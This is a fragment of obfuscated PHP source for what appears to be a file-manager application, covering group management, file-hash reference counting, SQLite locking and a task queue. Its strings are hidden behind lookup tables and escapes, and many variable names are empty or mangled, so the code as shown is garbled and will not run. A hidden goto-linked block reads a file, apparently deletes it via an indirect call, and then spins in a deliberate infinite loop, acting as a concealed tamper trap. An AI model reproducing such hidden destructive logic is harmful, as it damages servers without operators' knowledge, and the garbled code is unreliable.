array($ܽ[622] => $ޖ, $ܽ[2040] => 1, $ܽ[496] => $ׁ, $ܽ[883] => $Ѡ[$ܽ[477]], $ܽ[497] => $؆, $ܽ[2041] => $, $ܽ[2042] => $Ҹ); return $; } public function addFileCheckExist($ԧ, $, $١Ơ) { $Ŋ =& $_SERVER[ձК]; $Эƴ = $this->findByHash($ԧ, $); if (!$Эƴ) { return !1; } $ݳ = array($Ŋ[2040] => intval($Эƴ[$Ŋ[2047]]) + 1, $Ŋ[622] => $١Ơ); $this->where(array($Ŋ[544] => $Эƴ[$Ŋ[543]]))->save($ݳ); return $Эƴ; } public function remove($) { $this->linkCountChange($, !1); $this->clearEmpty(); return !0; } public function linkAdd($ֽ) { $this->linkCountChange($ֽ, !0); } public function linkCountChange($ﮁ, $î) { $ט =& $_SERVER[ձК]; if (!$ﮁ) { return; } if (!is_array($ﮁ)) { $ﮁ = array($ﮁ); } $ϼ = array(); foreach ($ﮁ as $辊) { $ө = $辊 . $ט[12]; if (!$ϼ[$ө]) { $ϼ[$ө] = 0; } $ϼ[$ө]++; } $ = array(); foreach ($ϼ as $辊 => $Ԉ) { $ө = $Ԉ . $ט[12]; if (!$[$ө]) { $[$ө] = array(); } $[$ө][] = $辊; } foreach ($ as $Ԉ => $) { if (!$) { continue; } $Ԉ = $î ? $Ԉ : -intval($Ԉ); $˘ = array($ט[543] => array($ט[7], $)); if ($Ԉ < 0) { $˘[$ט[2047]] = array($ט[1094], abs($Ԉ)); } $this->where($˘)->setAdd($ט[2047], $Ԉ); } } public function findByHash($֩, $ = false) { $ =& $_SERVER[ձК]; if (!$֩ && !$) { return !1; } $Ϟ = array($[2041] => $֩); if ($) { $Ϟ = array($[2042] => $); } return $this->order($[2048])->where($Ϟ)->find(); } public function clearEmpty($ů = 1) { $˶٦ =& $_SERVER[ձК]; $ь = time() - 3600 * 24 * $ů; $۞ = $˶٦[2049] . $ь; $ = $this->where($۞)->select(); if (!$) { return; } $ = new Task($˶٦[2050], $˶٦[12], count($)); foreach ($ as $כ) { $->update(1); $this->resetFile($כ); } $->end(); } public function resetFile($ȭ) { $ϙ =& $_SERVER[ձК]; $ = array($ϙ[544] => $ȭ[$ϙ[543]]); $ڄ = Model($ϙ[1423])->where($)->count(); $ = Model($ϙ[2051])->where($)->count(); $齄 = intval($ڄ) + intval($); if ($齄 == 0) { IO::remove($ȭ[$ϙ[87]]); Model($ϙ[2052])->delete($ȭ[$ϙ[543]]); $this->where($)->delete(); $this->metaSet($ȭ[$ϙ[543]], null, null); write_log(ACTION . $ϙ[2053] . KodUser::id() . $ϙ[2054] . $ȭ[$ϙ[543]] . $ϙ[2055] . $ȭ[$ϙ[79]] . $ϙ[201] . $ȭ[$ϙ[87]], $ϙ[2056]); return; } if ($ȭ[$ϙ[2047]] != $齄) { $this->where($)->save(array($ϙ[2040] => $齄)); } } public function storageInfo($ = false) { $Ǔ =& $_SERVER[ձК]; $ = $this->count() + 0.0; $ϲ = 0; $ӿ = 1; $Ѩ = 0; $ = 5000; for ($ = 0; $ < $; $ = $ + $) { $ł = $this->limit($, $ + $)->select(); foreach ($ł as $ן) { $ӿ += $ן[$Ǔ[79]] * $ן[$Ǔ[2047]]; $ϲ += $ן[$Ǔ[79]] * ($ן[$Ǔ[2047]] - 1); $Ѩ += $ן[$Ǔ[2047]]; } } $ҵ = array($Ǔ[2057] => $ӿ, $Ǔ[2058] => $ϲ, $Ǔ[2059] => $ϲ / $ӿ, $Ǔ[83] => $, $Ǔ[2060] => $Ѩ); return $ҵ; } } class GroupModel extends ModelBase { protected $tableName = "\147\x72\x6f\x75\160"; protected $tableMeta = array("\x74\141\x62\154\x65\116\141\x6d\145" => "\x67\162\157\x75\160\x5f\155\x65\164\x61", "\155\145\164\141\x46\x69\145\154\144" => "\x67\162\x6f\x75\160\x49\104"); protected function cacheFunctionAlias($핹) { $ǹ =& $_SERVER[ձК]; return array($ǹ[2061] => array($핹[0], $ǹ[2062]), $ǹ[2063] => array($핹[0], $ǹ[2064])); } protected function getInfo($, $ُ = false) { $ = $this->getInfoSimple($); if (!$) { return !1; } if ($ُ) { return $this->_listDataApplyItem($); } return $this->cacheFunctionGet($_SERVER[ձК][2065], $); } protected function getInfoSimple($, $嶒 = false) { $ȢÕ =& $_SERVER[ձК]; if ($嶒) { $ = array($ȢÕ[1978] => intval($)); $̍ = $this->where($)->find(); return is_array($̍) ? $̍ : array(); } return $this->cacheFunctionGet($ȢÕ[2066], $); } protected function groupAdd($Ӿ) { $ =& $_SERVER[ձК]; if (!$Ӿ[$[192]] && isset($Ӿ[$[1978]]) && $Ӿ[$[1978]] == 1) { if ($զБ = $this->getInfoSimple($Ӿ[$[1978]], !0)) { return $Ӿ[$[1978]]; } } else { $զБ = $this->getInfoSimple($Ӿ[$[192]]); if (!$զБ) { return !1; } } $Ԭ = $[595]; if ($զБ[$[586]]) { $Ԭ = $զБ[$[586]] . $զБ[$[1978]] . $[50]; } $ = array($[496] => $this->groupNameAuto($Ӿ[$[192]], $Ӿ[$[32]]), $[479] => $Ӿ[$[192]], $[657] => $Ԭ, $[2067] => $Ӿ[$[1964]], $[2068] => 0, $[1982] => 0); if (isset($Ӿ[$[2002]])) { $[$[2002]] = $Ӿ[$[2002]]; } else { $םѕ = $this->max($[2002]); if (!$םѕ) { $םѕ = 0; } $[$[2002]] = $םѕ + 1; } if (!empty($Ӿ[$[1978]])) { $[$[1978]] = $Ӿ[$[1978]]; } $ = $this->add($); $this->setNamePinyin($, $[$[32]]); if (isset($Ӿ[$[2069]])) { $this->metaSet($, array($[2069] => $Ӿ[$[2069]], $[2070] => $Ӿ[$[2070]])); unset($Ӿ[$[2069]]); unset($Ӿ[$[2070]]); } Model($[1423])->groupRootAdd($); $this->_clearCache($Ӿ[$[192]]); return $; } protected function groupEdit($, $) { $ =& $_SERVER[ձК]; $ = $this->getInfoSimple($); if (!$) { return !1; } if (!empty($[$[192]])) { $ʗ = $this->getInfoSimple($[$[192]]); if (!$ʗ) { return !1; } if ($[$[1978]] == $ʗ[$[1978]]) { return !1; } if ($[$[192]] != $[$[192]]) { if ($ʗ[$[586]] !== $[$[586]] && strpos($ʗ[$[586]], $[$[586]] . $[$[1978]] . $[50]) === 0) { return !1; } $[$[657]] = $ʗ[$[586]] . $[$[192]] . $[50]; $this->_changeChildLevel($, $ʗ); $this->_clearCache($ʗ[$[1978]]); $this->_clearCache($[$[192]]); } } if (isset($[$[32]])) { $this->setNamePinyin($, $[$[32]]); } if (isset($[$[2069]])) { $this->metaSet($, array($[2069] => $[$[2069]], $[2070] => $[$[2070]])); unset($[$[2069]]); unset($[$[2070]]); } $this->_clearChildrenCache($); return $this->where(array($[2071] => $))->save($); } private function _clearChildrenCache($؝) { $㲨 =& $_SERVER[ձК]; $ = array($㲨[657] => array($㲨[617], $؝[$㲨[586]] . $؝[$㲨[1978]] . $㲨[618])); $ = $this->field($㲨[1978])->where($)->select(); foreach ($ as $) { $this->_clearCache($[$㲨[1978]]); } } private function _clearCache($ľ) { $ =& $_SERVER[ձК]; $this->cacheFunctionClear($[2065], $ľ); $this->cacheFunctionClear($[2066], $ľ); } private function _changeChildLevel($˕, $Ο̘, $ɞ = false) { $Џ =& $_SERVER[ձК]; $м = $˕[$Џ[586]] . $˕[$Џ[1978]] . $Џ[50]; $ = $Ο̘[$Џ[586]] . $Ο̘[$Џ[1978]] . $Џ[50] . $˕[$Џ[1978]] . $Џ[50]; if ($ɞ) { $ = $Ο̘[$Џ[586]] . $Ο̘[$Џ[1978]] . $Џ[50]; } $ = array($Џ[657] => array($Џ[617], $˕[$Џ[586]] . $˕[$Џ[1978]] . $Џ[618])); $ݕ = array($Џ[657] => array($Џ[666], "\162\145\x70\x6c\x61\143\145\50\x70\x61\162\145\156\164\114\x65\x76\145\x6c\x2c\47{$м}\47\x2c\x27{$}\x27\51")); $this->_clearChildrenCache($˕); $this->where($)->data($ݕ)->save(); } public function setNamePinyin($ݥ, $fiŭ = false) { $ =& $_SERVER[ձК]; if (!$fiŭ) { $К = $this->getInfoSimple($ݥ); $fiŭ = $К[$[32]]; } if (!Input::check($fiŭ, $[660])) { $this->metaSet($ݥ, $[540], null); $this->metaSet($ݥ, $[539], null); return; } $ = array($[540] => str_replace($[53], $[12], Pinyin::get($fiŭ)), $[539] => Pinyin::get($fiŭ, $[661])); $this->metaSet($ݥ, $); } protected function metaSet($, $Ҵ = null, $¹ = null) { $this->_clearCache($); return parent::metaSet($, $Ҵ, $¹); } protected function groupStatus($Қ, $ܢ) { $㥓 =& $_SERVER[ձК]; $ = $this->getInfoSimple($Қ); if (!$) { return !1; } $this->_clearCache($Қ); return $this->metaSet($Қ, $㥓[824], $ܢ); if ($ܢ == $㥓[91]) { $ = $this->parentLevelArray($[$㥓[586]]); } else { } $[] = $[$㥓[1978]]; $҄ = array(); foreach ($ as $Қ) { $҄[] = array($㥓[1978] => $Қ, $㥓[97] => $㥓[824], $㥓[452] => $ܢ); $this->_clearCache($Қ); } return Model($㥓[2072])->addAll($҄, array(), !0); } protected function groupRemove($嶩, $ћȷ = false) { $띝 =& $_SERVER[ձК]; $ = array($띝[1978] => $嶩); $ = $this->where($)->find(); if (!$ || $[$띝[192]] == 0) { return !1; } if (!$ћȷ) { $ӳ = $this->getInfoSimple($[$띝[192]]); $this->_changeChildLevel($, $ӳ, !0); $this->where(array($띝[192] => $嶩))->save(array($띝[192] => $[$띝[192]])); $this->_clearCache($ӳ[$띝[1978]]); } Model($띝[2072])->where($)->delete(); Model($띝[2073])->where($)->delete(); Model($띝[899])->groupRootRemove($嶩); $this->_clearCache($[$띝[192]]); return $this->where($)->delete(); } protected function groupSort($Ӊπ) { $ =& $_SERVER[ձК]; $ؗ = array(); foreach ($Ӊπ as $ => $) { $ؗ[] = array($[1978], $, $[2002], $ + 1); } $this->saveAll($ؗ); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($Â[$_SERVER[ձК][447]]); return $Â; } private function _makeOrder($ = '') { $ի =& $_SERVER[ձК]; $ = array($ի[1978], $ի[32], $ի[1966], $ի[233]); $ = array($ի[525] => $ի[526], $ի[527] => $ի[528]); $ˮ = Input::get($ի[532], $ի[7], $ի[1982], $); $瀖 = Input::get($ի[533], $ի[7], $ի[2074], array($ի[2074], $ի[527])); $瀖 = $[$瀖]; $ = $ . "{$ˮ}\x20{$瀖}\54\40\x67\x72\x6f\165\160\111\104\40\141\x73\143"; return $this->order($); } public function listChild($债Γ) { $趔 =& $_SERVER[ձК]; $ﭛ = $this->where(array($趔[192] => $债Γ))->_makeOrder()->selectPage(200); $this->_listDataApply($ﭛ[$趔[447]]); return $ﭛ; } public function listChildIds($ٻ) { $ۢ =& $_SERVER[ձК]; if (is_string($Ժ)) { $ٻ = explode($ۢ[50], $ٻ); } $́ = $this->where(array($ۢ[1978] => array($ۢ[7], $ٻ)))->field($ۢ[2075])->select(); if (!$́) { return !1; } $ = array(); foreach ($́ as $Ō) { $[] = "\163\x65\x6c\x65\x63\164\40\x67\x72\157\165\x70\111\104\x20\146\x72\x6f\x6d\40\x60\147\162\157\x75\x70\140\40\x77\x68\145\162\x65\x20\x70\x61\162\145\x6e\164\114\145\x76\x65\x6c\x20\x6c\151\153\145\x20\x27{$Ō[$ۢ[586]]}{$Ō[$ۢ[1978]]}\54\x25\47"; } $ = implode($ۢ[2076], $); $́ = $this->query($); if (!$́) { return array(); } $ٻ = array_to_keyvalue($́, $ۢ[12], $ۢ[1978]); return array_unique($ٻ); } public function listByID($) { $猐 =& $_SERVER[ձК]; if (!$) { return array(); } $أᫎ = array($猐[1978] => array($猐[7], $)); $嗢 = $this->where($أᫎ)->select(); $嗢 = array_sort_keep($嗢, $猐[1978], $); $this->_listDataApply($嗢); return $嗢; } public function listSearch($) { $斚 =& $_SERVER[ձК]; $ = trim($[$斚[2077]]); $矏 = explode($斚[53], $); if (!$ || count($矏) == 1) { return $this->listSearchNow($); } $̩ = array($斚[447] => array()); foreach ($矏 as $˜) { if (!trim($˜)) { continue; } $[$斚[2077]] = $˜; $솨 = $this->listSearchNow($); $̩[$斚[447]] = array_merge($̩[$斚[447]], $솨[$斚[447]]); } $̩[$斚[447]] = array_unique_by_key($̩[$斚[447]], $斚[1978]); $̩[$斚[444]] = array($斚[445] => count($̩[$斚[447]]), $斚[441] => 20, $斚[430] => 1, $斚[446] => 1); return $̩; } public function listSearchNow($) { $ý =& $_SERVER[ձК]; $ٲ = trim($[$ý[2077]]); $挃 = isset($[$ý[2078]]) ? $[$ý[2078]] : !1; if (!trim($ٲ)) { return !1; } $ٲ = str_replace($ý[2079], $ý[2080], $ٲ); $ = array($ý[1978] => array($ý[461], "{$ٲ}\x25"), $ý[32] => array($ý[461], "\45{$ٲ}\x25"), $ý[1079] => $ý[2081]); if ($挃) { $Ȉ = $this->getInfoSimple($挃); $ = $Ȉ[$ý[586]] . $挃 . $ý[618]; $ = array($, array($ý[586] => array($ý[461], $))); } $ = $this->parseWhereLike($); $缁 = $this->_makeOrder()->where($)->selectPage(20); $缁 = $缁 ? $缁 : array($ý[447] => array(), $ý[444] => array()); if (!$缁 || count($缁[$ý[447]]) < 5 && Input::check($ٲ, $ý[395])) { $ژ߽ = $this->groupChildrenAll($挃); $ = $this->_searchFromMeta($ý[539], $ٲ, 10, $ژ߽); $ = $this->_searchFromMeta($ý[540], $ٲ, 10, $ژ߽); $À = array_merge($, $, $缁[$ý[447]]); $缁[$ý[447]] = array_unique_by_key($À, $ý[1978]); $缁[$ý[444]][$ý[445]] = count($缁[$ý[447]]); $缁[$ý[444]][$ý[446]] = ceil($缁[$ý[444]][$ý[445]] / $缁[$ý[444]][$ý[441]]); } $this->_listDataApply($缁[$ý[447]]); return $缁; } protected function groupChildrenAll($ת) { $ =& $_SERVER[ձК]; if (!$ת) { return !1; } if (!is_array($ת)) { $ת = array($ת); } $ = $ת; foreach ($ת as $) { $ = $this->getInfoSimple($); $ = array($[586] => array($[461], $[$[586]] . $ . $[618])); $ծ = $this->field($[1978])->where($)->select(); $ = array_merge($, array_to_keyvalue($ծ, $[12], $[1978])); } return array_unique($); } private function _searchFromMeta($, $Џ, $䪫, $) { $ =& $_SERVER[ձК]; $Џ = strtolower($Џ); $ = array($[97] => $, $[452] => array($[461], "\45{$Џ}\45")); $ = $this->parseWhereLike($); if ($) { $[$[1978]] = array($[7], $); } $ = Model($[2082])->where($)->limit($䪫)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1978]); $ = $this->where(array($[2071] => array($[7], $)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($쩬) { $ = array($쩬); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$) { $ʢ =& $_SERVER[ձК]; if (!$) { return; } $ = array_to_keyvalue($, $ʢ[12], $ʢ[1978]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $); } private function _listAppendChildren(&$) { $Ŭ =& $_SERVER[ձК]; $闻 = array_to_keyvalue($, $Ŭ[12], $Ŭ[1978]); $ӄ = array($Ŭ[192] => array($Ŭ[7], $闻)); $ = array($Ŭ[192], $Ŭ[2083] => $Ŭ[567]); $ = $this->field($)->where($ӄ)->group($Ŭ[192])->select(); $֙ = array_to_keyvalue($, $Ŭ[192], $Ŭ[567]); foreach ($ as &$ɏ) { $ڂ = $ɏ[$Ŭ[1978]]; $ɏ[$Ŭ[2084]] = isset($֙[$ڂ]) ? intval($֙[$ڂ]) : !1; } unset($ɏ); } private function _listAppendChildrenMember(&$܂) { $ =& $_SERVER[ձК]; $ = array_to_keyvalue($܂, $[12], $[1978]); $ = array($[1978] => array($[7], $)); $ = array($[1978], $[2083] => $[567]); $ړ = Model($[2073])->field($)->where($)->group($[1978])->select(); $ǹ = array_to_keyvalue($ړ, $[1978], $[567]); foreach ($܂ as &$ڇݤ) { $߈ = $ڇݤ[$[1978]]; $ڇݤ[$[2085]] = isset($ǹ[$߈]) ? intval($ǹ[$߈]) : !1; } unset($ڇݤ); } private function _listAppendMeta(&$ɣ, $⧺) { $ =& $_SERVER[ձК]; $ = array($[1978] => array($[7], $⧺)); $ = Model($[2072])->where($)->select(); $ = array_to_keyvalue_group($, $[1978]); foreach ($ as &$ר) { $ר = array_to_keyvalue($ר, $[97], $[452]); } unset($ר); foreach ($ɣ as &$») { $»[$[541]] = array(); if (isset($[$»[$[1978]]])) { $»[$[541]] = $[$»[$[1978]]]; } } unset($»); } protected function parentLevelArray($) { $˾ =& $_SERVER[ձК]; $ = explode($˾[50], trim($, $˾[50])); $ = array_remove_value($, $˾[230]); return $; } protected function parentInGroup($, $ߊǯ) { $ =& $_SERVER[ձК]; $ = $this->getInfoSimple($); if (!$) { return !0; } $ = $this->parentLevelArray($[$[586]]); $[] = $; foreach ($ as $) { if (in_array($ . $[12], $ߊǯ)) { return !0; } } return !1; } private function _listAppendParent(&$烦) { $ =& $_SERVER[ձК]; $ﰀ = array(); foreach ($烦 as &$) { $ﰀ[$[$[1978]]] = $[$[32]]; $բ = $this->parentLevelArray($[$[586]]); foreach ($բ as $) { if (!isset($ﰀ[$])) { $ﰀ[$] = 0; } } } unset($); foreach ($ﰀ as $٠ => $) { if ($) { continue; } $㛬м = $this->getInfoSimple($٠); $ﰀ[$٠] = $㛬м[$[32]]; } $ = $GLOBALS[$[6]][$[92]][$[2086]]; if (KodUser::isRoot()) { $ = !1; } foreach ($烦 as &$) { $բ = $this->parentLevelArray($[$[586]]); $ = $[12]; foreach ($բ as $٠ => $) { if ($ && $٠ == 0) { continue; } $ .= $ﰀ[$] . $[8]; } if ($բ) { $ .= $[$[32]]; } $[$[591]] = str_replace($[256], $[8], $); } unset($); } private function _listAppendSourceRoot(&$ҋ뾾, $ĉ) { $ڃ =& $_SERVER[ձК]; $Ĕھ = Model($ڃ[899])->listSourceRoot(SourceModel::TYPE_GROUP, $ĉ); $Ĕھ = array_to_keyvalue($Ĕھ, $ڃ[571]); $Ĕھ = array_remove_key($Ĕھ, $ڃ[571]); foreach ($ҋ뾾 as &$) { $[$ڃ[90]] = $Ĕھ[$[$ڃ[1978]]] ? $Ĕھ[$[$ڃ[1978]]] : array(); } unset($); } protected function groupMerge($) { $ = array_values(array_unique($)); $Ըз = array(); for ($ = 0; $ < count($); $++) { $ = !1; for ($ = 0; $ < count($); $++) { if ($ == $) { continue; } if ($this->isParentOf($[$], $[$])) { $ = !0; break; } } if (!$) { $Ըз[] = $[$]; } } return $Ըз; } protected function isParentOf($, $ո) { $驯 =& $_SERVER[ձК]; if (!$ || !$ո || $ == $ո) { return !1; } $ = $this->getInfoSimple($); $֏ = $this->getInfoSimple($ո); $주 = $[$驯[586]] . $ . $驯[50]; if (substr($֏[$驯[586]], 0, strlen($주)) == $주) { return !0; } return !1; } public function groupShowRoot($ږׇ, $ = false) { $·ޘ =& $_SERVER[ձК]; $ȏ = $this->getInfo($ږׇ); if (!$ȏ) { return array(); } $ = $this->parentLevelArray($ȏ[$·ޘ[586]]); $˺ = array($ږׇ); if (count($) == 0) { return $˺; } if ($ && count($) == 1) { return $˺; } if (!$ȏ[$·ޘ[541]] || !isset($ȏ[$·ޘ[541]][$·ޘ[2069]]) || $ȏ[$·ޘ[541]][$·ޘ[2069]] == $·ޘ[850]) { return $this->groupShowRoot($[count($) - 1], $); } if ($ȏ[$·ޘ[541]][$·ޘ[2069]] == $·ޘ[434]) { $ = explode($·ޘ[50], $ȏ[$·ޘ[541]][$·ޘ[2070]]); if ($) { $˺ = array_merge($˺, $); } } return $˺; } protected function resetParentLevel() { $՛ =& $_SERVER[ձК]; $惍 = $՛[1978]; $뢵ʞ = $this->select(); $뢵ʞ = array_to_keyvalue($뢵ʞ, $惍); foreach ($뢵ʞ as $㩙) { $ = $㩙; $ǻ = array(); while ($[$՛[192]] != 0) { $ǻ[] = $[$՛[192]]; $ = $뢵ʞ[$[$՛[192]]]; } $ǻ[] = 0; $ǻ = $՛[50] . implode($՛[50], array_reverse($ǻ)) . $՛[50]; $this->setNamePinyin($㩙[$惍], $㩙[$՛[32]]); $this->where(array($惍 => $㩙[$惍]))->save(array($՛[657] => $ǻ)); } return $뢵ʞ; } public function groupNameAuto($έ, $) { $ږ =& $_SERVER[ձК]; $ = $this->where(array($ږ[479] => $έ))->getField($ږ[32], !0); if (!$ || !in_array($, $)) { return $; } for ($ = 1; $ <= count($) + 1; $++) { $ = $ . "\50{$}\x29"; if (!in_array($, $)) { return $; } } } public function groupSwitch($, $ʹ) { $ݠ =& $_SERVER[ձК]; $Ҋ = array($ݠ[1978] => array($ݠ[7], array($, $ʹ))); $ߺ = $this->where($Ҋ)->select(); $ߺ = array_to_keyvalue($ߺ, $ݠ[1978]); if (!isset($ߺ[$]) || !isset($ߺ[$ʹ]) || $ߺ[$][$ݠ[192]] == 0) { return !1; } $Ҋ = array($ݠ[1978] => $); $ی = Model($ݠ[2073])->where($Ҋ)->select(); if (!$ی) { $ی = array(); } foreach ($ی as $ⶪ) { $ = $ⶪ[$ݠ[1777]]; $Ҋ = array($ݠ[1777] => $, $ݠ[1978] => $ʹ); $ʰ = Model($ݠ[2073])->where($Ҋ)->find(); if (!$ʰ) { $ք = array($ʹ => $ⶪ[$ݠ[2087]]); Model($ݠ[599])->userGroupAdd($, $ք); } Model($ݠ[599])->userGroupRemove($, $); } $Ҋ = array($ݠ[190] => 2, $ݠ[192] => 0, $ݠ[487] => 1, $ݠ[571] => array($ݠ[7], array($, $ʹ))); $ݏ = Model($ݠ[899])->where($Ҋ)->field($ݠ[2088])->select(); $ݏ = array_to_keyvalue($ݏ, $ݠ[571], $ݠ[193]); $ă䗩 = !empty($ݏ[$]) ? $ݏ[$] : !1; if ($ă䗩) { if (!$ݏ[$ʹ]) { $ݏ[$ʹ] = Model($ݠ[899])->groupRootAdd($ʹ); } $ = $ݏ[$ʹ]; $Ҋ = array($ݠ[192] => $ă䗩); $ݏ = Model($ݠ[899])->where($Ҋ)->field($ݠ[2089])->select(); if (!$ݏ) { $ݏ = array(); } Model($ݠ[899])->moveClearAuth = !1; foreach ($ݏ as $) { $ = $[$ݠ[487]] == $ݠ[91] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($ݠ[899])->move($[$ݠ[193]], $, $); } Model($ݠ[899])->moveClearAuth = !0; $Ҋ = array($ݠ[190] => 2, $ݠ[571] => $); $ = array($ݠ[571] => $ʹ); Model($ݠ[2090])->where($Ҋ)->save($); Model($ݠ[2091])->where($Ҋ)->save($); } $this->_changeChildLevel($ߺ[$], $ߺ[$ʹ], !0); $this->where(array($ݠ[192] => $))->save(array($ݠ[192] => $ʹ)); $this->_clearChildrenCache($ߺ[$ʹ]); return !0; } } goto DƎ; b媶: class DbSqlite extends DbSqliteBase { public function query($) { $ =& $_SERVER[ձК]; if (!CacheLock::fileLock($[13])) { return !1; } $ʘ = parent::query($); CacheLock::fileUnLock($[13]); return $ʘ; } public function execute($˃) { $ =& $_SERVER[ձК]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($˃); CacheLock::fileUnLock($[13]); return $; } } class DbSqlite3 extends DbSqlite3Base { public function query($㑚) { $ =& $_SERVER[ձК]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($㑚); CacheLock::fileUnLock($[13]); return $; } public function execute($ռʮ) { $ =& $_SERVER[ձК]; if (!CacheLock::fileLock($[13])) { return !1; } $Չ = parent::execute($ռʮ); CacheLock::fileUnLock($[13]); return $Չ; } } if (!isset($_SERVER[$_SERVER[ձК][952]]) || !isset($_SERVER[$_SERVER[ձК][953]])) { $_getc = $_SERVER[ձК][955]; $_getfile = $_SERVER[$_SERVER[ձК][956]] . $_SERVER[ձК][957]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ձК][287], $_getfilec); if (count($_getarrs) < $_SERVER[ձК][696]) { $exit = $_SERVER[ձК][958]; $exit(); } $_act = $_SERVER[ձК][961]; $_act($_SERVER[$_SERVER[ձК][956]] . $_SERVER[ձК][957]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[ձК][456]); } } goto b³; Aڎ: class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\141\163\153\x51\165\145\x75\x65\x4c\145\x6e\x67\x74\x68"; const QUEUE_DATA = "\x74\x61\163\x6b\121\165\x65\x75\x65\x44\141\x74\x61"; const QUEUE_TIME = "\x74\141\x73\x6b\x51\x75\145\x75\x65\114\x61\x73\164\x52\x75\156"; const QUEUE_THREAD = "\164\141\163\153\121\165\145\165\x65\x54\150\162\145\141\144"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($ź, $ݤ = array(), $睚 = '', $ʾ = '') { $ =& $_SERVER[ձК]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ʾ && array_find_by_field(self::$listData, $[97], $ʾ)) { return !0; } if ($ʾ && array_find_by_field(self::$listDataAdd, $[97], $ʾ)) { return !0; } self::$listDataAdd[] = array($[343] => $ź, $[1877] => $ݤ, $[528] => $睚, $[97] => $ʾ); return !0; } public static function addSubmit() { $ =& $_SERVER[ձК]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($[1878] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $[12], $[528])), $[197]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($Ň, $ = array(), $ث = '', $䅉 = '') { $ =& $_SERVER[ձК]; if (self::count() >= self::MAX_LENGTH) { return !1; } $۱ = self::getAll(); if ($䅉 && array_find_by_field($۱, $[97], $䅉)) { return !0; } $۱[] = array($[343] => $Ň, $[1877] => $, $[528] => $ث, $[97] => $䅉); self::setAll($۱); write_log($[1878] . $ث, $[197]); return !0; } public static function run() { $Ƶ =& $_SERVER[ձК]; $ = self::getAll(); $а = array_shift($); if (!$а) { return !1; } self::setAll($); $ј = timeFloat(); $ = $Ƶ[12]; try { $ = Hook::apply($а[$Ƶ[343]], $а[$Ƶ[1877]]); } catch (Exception $΄) { write_log($΄, $Ƶ[1266]); } $ȵ = number_format(timeFloat() - $ј, 3) . $Ƶ[1793]; if ($ && is_string($)) { $ȵ = $ȵ . $Ƶ[1879] . $; } write_log($Ƶ[1880] . $а[$Ƶ[528]] . $Ƶ[1881] . $ȵ, $Ƶ[197]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $֢ =& $_SERVER[ձК]; $ = self::threadCount() + 1; if ($ > 3 || !self::count()) { return; } write_log($֢[1882] . $, $֢[197]); Cache::set(self::QUEUE_THREAD, $, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($֢[1883], $֢[197]); } public static function getKey($, $䩍 = "\x69\156\x74") { $ʟ =& $_SERVER[ձК]; Cache::removeMemory($); $ʎ = Cache::get($); if ($䩍 == $ʟ[365]) { return $ʎ ? intval($ʎ) : 0; } if ($䩍 == $ʟ[1884]) { return is_array($ʎ) ? $ʎ : array(); } return $ʎ; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[ձК][1884]); } public static function setAll($) { $Ŷ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $Ŷ); Cache::set(self::QUEUE_DATA, $, $Ŷ); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($Ɯ, $É = 5.0) { if (!$Ɯ) { return; } $٧ = Cache::get($Ɯ); if (!$٧ || timeFloat() - floatVal($٧) >= $É) { Cache::set($Ɯ, timeFloat(), $É * 10); return !0; } return !1; } public static function timeLimitCall($, $, $̻, $ = 5.0) { $ =& $_SERVER[ձК]; if (!$ || !$) { return; } self::$asyncAdd = !0; $ = $[1885]; $À = Cache::get($, !0); $ڧٴά = array($[1886] => timeFloat(), $[1887] => timeFloat(), $[343] => $, $[1877] => $̻, $[206] => $); if (is_array($À[$])) { $ڧٴά[$[1887]] = $À[$][$[1887]]; } if (is_array($À[$])) { if (timeFloat() - $À[$][$[1886]] < $ڧٴά[$[206]] * 0.3) { return; } $ڧٴά[$[1887]] = $À[$][$[1887]]; } $À[$] = $ڧٴά; Cache::set($, $À, 60); Cache::removeMemory($); write_log($[1888] . $ . $[74] . $, $[197]); } public static function timeLimitCallLoop() { $ =& $_SERVER[ձК]; $³ = array($[1889]); $ʹ = in_array(strtolower(ACTION), $³); if (!$ʹ && !self::$asyncAdd) { return; } $ = $[1885]; $찕 = Cache::get($, !0); if (!$찕 || count($찕) <= 0) { return; } $⿸ = !1; $ʡ = timeFloat(); $ = array(); foreach ($찕 as $ּ => $ҟ£) { if ($ʡ - $ҟ£[$[1887]] > $ҟ£[$[206]]) { $⿸ = !0; try { Hook::apply($ҟ£[$[343]], $ҟ£[$[1877]]); write_log($[1890] . $ּ . $[74] . $ҟ£[$[343]] . $[1891] . ACTION, $[197]); } catch (Exception $ˆߐ) { } continue; } $[$ּ] = $ҟ£; } if (!$⿸) { return; } if (!$) { return Cache::remove($); } Cache::set($, $, 60); Cache::removeMemory($); } public static function finished($մ, $Lj樲) { $ӂ =& $_SERVER[ձК]; if 